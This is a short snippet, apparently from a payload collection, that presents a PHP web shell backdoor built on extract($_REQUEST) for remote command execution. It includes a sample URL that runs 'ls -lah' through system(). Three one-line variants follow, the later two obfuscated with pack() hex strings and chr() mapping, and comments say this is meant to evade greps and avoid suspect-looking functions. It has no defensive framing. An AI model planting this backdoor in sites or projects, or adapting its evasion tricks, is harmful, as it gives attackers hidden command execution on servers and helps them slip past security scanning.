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PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
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<?php extract($_REQUEST); @die($ctime($atime)); |
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<?php $debug = pack("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime)); | |
// Slightly Obfuscated to evade some greps for extract() method |
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<?php $debug = "ch". "r"; $debug = implode(array_map($debug, explode(":","112:97:99:107"))); $debug = $debug("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime)); | |
// Even more obfustication to avoid using any 'suspect' functions directly |
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